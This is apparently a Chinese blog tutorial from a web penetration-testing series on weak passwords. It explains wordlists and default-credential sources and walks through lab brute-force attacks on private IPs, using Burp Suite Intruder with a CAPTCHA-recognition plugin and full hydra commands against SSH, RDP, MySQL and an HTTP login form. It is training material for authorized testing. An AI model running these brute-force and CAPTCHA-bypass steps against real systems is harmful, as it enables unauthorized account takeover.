【网安-Web渗透测试-漏洞系列】弱口令

目录

一、弱口令含义

1、什么是弱口令

弱的⼝令是指容易被猜测到的⽤户、密码(123,admin,abc)等。

bash 复制代码
user
liudeli
123456
admin
abcdef
11111
123
321
... 省略 ...

2、弱口令产生的原因

弱⼝令的来源有两个原因:

  1. 人员密码安全意识薄弱,存在疏忽大意行为,为便于记忆,在多平台使用简单密码或重复密码。
  2. 部分管理平台沿用初始默认密码,未及时进行修改更换。

二、运行环境

(1)目标主机1

名称
操作系统 Windows server 2003
中间件 PHP5.5.38 + Apache2.4
数据库 MySQL 5.6

(2)目标主机2

名称
操作系统 Ubuntu Server 16
是否存在SSH

(3)攻击机

名称
操作系统 Kali Linux 2023.4

三、密码爆破实践

1、爆破字典

(1)为何需要字典?

无需手动逐个尝试破解弱口令,不仅费时费力、效率极低,逐一试猜也得不偿失;可直接采用工具爆破方式。通用模式适配各类场景与使用人群,依托大众化字典匹配即可实现全覆盖检测,简便高效。

(2)通用模式

通用模式就是根据人的通性,生成的口令字典,获取方式简单,数量众多

① 常见密码

收录常见的密码,有各自不同的类型,是否破解出来完全看运气。

bash 复制代码
# 下载SecLists⽂件夹
https://github.com/danielmiessler/SecLists
https://github.com/danielmiessler/SecLists/blob/master/Passwords/500-worstpasswords.txt

如果发现Github无法访问,则需要在本地计算机配置hosts文件。

Windows下的hosts文件路径

bash 复制代码
# 需要Administrator权限下打开记事本或其它文本编辑工具
‌C:\Windows\System32\drivers\etc\hosts

Linux下的hosts文件路径

bash 复制代码
# 需要root权限或支持sudo操作的用户
/etc/hosts

在hosts文件中新增Github相关的域名和IP

bash 复制代码
140.82.113.3      github.com
140.82.112.5      api.github.com
185.199.108.133   raw.githubusercontent.com
185.199.109.133   raw.githubusercontent.com
185.199.110.133   raw.githubusercontent.com
185.199.111.133   raw.githubusercontent.com
140.82.114.6      github.global.ssl.fastly.net

② 默认密码

不同平台也会公开相关的默认密码,需自行下载或寻找

bash 复制代码
https://github.com/hetianlab/DefaultCreds-cheat-sheet

(3)定制模式

① 概念

根据网络搜索关于某人的特定信息生成的定制字典(其他平台的密码,邮箱,qq,电话,生日等)。

例如:

bash 复制代码
klimov/klimov0524
klimov/klimov1995
klimov/klimov1922661
...
1593...@qq.com/klimov1995
1593...@qq.com/klimov1922661

定制模式需结合个人与公司相关信息构建,难度更高,且依赖前期信息收集工作;将通用模式与定制模式相结合,即可生成合规有效的弱口令字典。

② 收集信息后定制

bash 复制代码
fofa:https://fofa.info/

或

搜索引擎 收集得到的信息

③ 给定制模式生成字典

下载weakpass-main:

bash 复制代码
https://github.com/zzzteph/weakpass

2、BP基础爆破

(1)部署地址:

bash 复制代码
C:\phpStudy\WWW\wz

(2)导入数据库

说明:数据库的SQL文件位于wz靶场内。并导入bank和game数据库。

(3)访问地址为

bash 复制代码
http://192.168.179.144:90/wz

(4)开始爆破

Step1:在BurpSuite中开启"intercept on";并开启浏览器的代理

Step2:输入用户和密码,点击登录

Step3:右击选择"Send Intruder"


Step4 :配置BP爆破

现在知道用户名是admin,但不知道密码;配置payloads添加爆破字典(SecLists-master\Passwords)

Step5:爆破成功

3、BP验证码爆破

(1)启动验识别服务(不截包)

Step1 :打开NEW_xp_CAPTCHA服务

Step2:浏览服务是否正常

bash 复制代码
http://127.0.0.1:8899

(2)在BP中添加插件

Step1 :在BP中,添加python解析器

Step2 :添加BP拓展插件

(3)部署海洋靶场

Step1:部署位置

bash 复制代码
C:\phpStudy\WWW\ocean

Step2:访问安装地址

bash 复制代码
http://192.168.179.144:90/ocean/install/index.php

勾选同意后,点继续。

Step3 :只要没报错,就点继续。

Step4 :配置好相关信息后,点确认安装。
Step5:安装成功

页面中的访问地址不能照搬,而是要注意端口号及部署目录的调整!


Step6:访问后台管理地址

bash 复制代码
http://192.168.179.144:90/ocean/0v0srz/login.php?gotopage=%2Focean%2F0v0srz%2F

(4)使⽤BP爆破(截包)

Step1:在BurpSuite中开启"intercept on";并开启浏览器的代理

Step2 :输入用户和密码后,复制验证码地址,并点登录

Step3:右击选择"Send Intruder"


Step4 :为密码验证码 都添加"Add %$"

被选择的密码被显示为:123

被选中的验证码被显示为:GFBN

Step5 :为密码设置密码本

Step6 :为验证码设置插件

Step7 :配置资源池,为爆破作准备

Step8:添加一个验证码地址在BP中

添加一个瞎跑:

bash 复制代码
xiapao: http://192.168.179.144:90/ocean/include/vdimgck.php

备注:xiapao不可随意修改,这是在xp_CAPTCHA.py脚本中已经定义好的。

点 Start attack 开始爆破

Step8 :查看结果

从图中结果可以看出,利用BP实现密码和验证码的爆破,已成功登录了系统。

4、九头蛇(hydra)爆破SSH

(1)说明

Hydra 是知名组织 THC 推出的开源密码暴力破解工具,功能强大,Kali 系统默认预装,支持几乎所有协议的在线密码破解。

可用于爆破 SSH、RDP 远程桌面、MySQL 数据库等登录密码;破解成功率取决于字典强度与设备硬件性能。

hydra的参数说明

bash 复制代码
-l login ⼩写,指定⽤户名进⾏破解
-L file ⼤写,指定⽤户的⽤户名字典
-p pass ⼩写,⽤于指定密码破解,很少使⽤,⼀般采⽤密码字典。
-P file ⼤写,⽤于指定密码字典。
-e ns 额外的选项,n:空密码试探,s:使⽤指定账户和密码试探
-M file 指定⽬标ip列表⽂件,批量破解。
-o file 指定结果输出⽂件
-f 找到第⼀对登录名或者密码的时候中⽌破解。
-t tasks 同时运⾏的线程数,默认是16
-w time 设置最⼤超时时间,单位
-v / -V 显示详细过程
-R 恢复爆破(如果破解中断了,下次执⾏ hydra -R /path/to/hydra.restore 就可以继续任务。)
-x ⾃定义密码。

(2)多用户处理

此命令为用户名和密码同时进行的SSH暴力破解。

bash 复制代码
$ hydra -L /home/kali/username.txt -P /usr/share/wordlists/rockyou.txt.gz ssh://192.168.179.131 -t 16 -vV

命令解释

  1. hydra
    作用:启动 Hydra 暴力破解工具
    用途:用来爆破各种服务密码(SSH/FTP/MySQL/RDP 等)
  2. -L /home/kali/username.txt
    -L= 指定多个用户名的文本文件
  3. -P /usr/share/wordlists/rockyou.txt.gz
    -P = 指定密码字典文件
    字典路径:/usr/share/wordlists/rockyou.txt.gz
    这是 Kali 自带的 超大型常用密码字典(最经典)
    .gz 是压缩包,Hydra 可以直接读取
  4. ssh://192.168.179.131
    指定目标服务 + IP
    ssh:// = 爆破 SSH 服务
    192.168.179.131 = 目标服务器 IP
  5. -t 16
    -t = 设置线程数(并发数)
    这里是 16 线程同时爆破
    数字越大,破解越快,但容易被封
  6. -vV
    -v = 显示详细过程
    -V = 显示每一次尝试的用户名 + 密码
    合起来就是:显示完整爆破日志(看得见每一次试密码)

(3)单用户处理

此命令为已知用户名的情况下对SSH进行暴力破解。

bash 复制代码
$ hydra -l jan -P /usr/share/wordlists/rockyou.txt.gz ssh://192.168.179.131 -t 16 -vV

命令解释

  1. hydra
    作用:启动 Hydra 暴力破解工具
    用途:用来爆破各种服务密码(SSH/FTP/MySQL/RDP 等)
  2. -l jan
    -l = 指定单个用户名
    这里用户名是:jan
    意思:只爆破用户 jan 的密码
  3. -P /usr/share/wordlists/rockyou.txt.gz
    -P = 指定密码字典文件
    字典路径:/usr/share/wordlists/rockyou.txt.gz
    这是 Kali 自带的 超大型常用密码字典(最经典)
    .gz 是压缩包,Hydra 可以直接读取
  4. ssh://192.168.179.131
    指定目标服务 + IP
    ssh:// = 爆破 SSH 服务
    192.168.179.131 = 目标服务器 IP
  5. -t 16
    -t = 设置线程数(并发数)
    这里是 16 线程同时爆破
    数字越大,破解越快,但容易被封
  6. -vV
    -v = 显示详细过程
    -V = 显示每一次尝试的用户名 + 密码
    合起来就是:显示完整爆破日志(看得见每一次试密码)

运行效果

破解后得到的结果如下:

bash 复制代码
用户名:jan
密码为:armando

5、九头蛇(hydra)爆破Window登录密码(rdp远程)

bash 复制代码
$ hydra -l administrator -P password.txt -t 3 -e ns 192.168.179.144 rdp

6、九头蛇(hydra)爆破mysql登录密码

bash 复制代码
$ hydra -l root -P password.txt -t 3 -e ns 192.168.179.144 mysql

7、九头蛇(hydra)爆破HTTP请求

bash 复制代码
hydra -t 3 -l luojie -P password.txt -s 80 192.168.179.144 http-get-form "/wz/login.php:user=^USER^&pass=^PASS^:⽤户名或密码错误"
相关推荐
网络安全许木2 小时前
自学渗透测试第25天(工具链联动:nmap+whatweb+curl)
网络安全·渗透测试
TechWayfarer2 小时前
App还是Web?IP段归属查询的工具适配与实战指南
python·tcp/ip·网络安全
菩提小狗3 小时前
每日安全情报报告 · 2026-04-25
网络安全·漏洞·cve·安全情报·每日安全
深邃-3 小时前
【Web安全】-Kali,Linux基础(3):Linux路径操作,Linux文件权限,Linux文件下载
linux·运维·安全·web安全·网络安全·系统安全
沐苏瑶3 小时前
Java反序列化漏洞
java·开发语言·网络安全
深念Y17 小时前
从“改网页”到“改应用”:客户端数字显示伪造的技术原理与边界讨论
网络安全·dom·ps·代理·前端安全·开发者工具·内存修改器
能年玲奈喝榴莲牛奶1 天前
网络安全服务-网络安全检查
安全·web安全·网络安全·安全服务
钟智强1 天前
国内环境Ollama安装与DeepSeek-R1:1.5b部署全攻略
安全·web安全·网络安全·ollama·deepseek
大方子1 天前
【Bugku】GoldenHornKingWEB
网络安全·bugku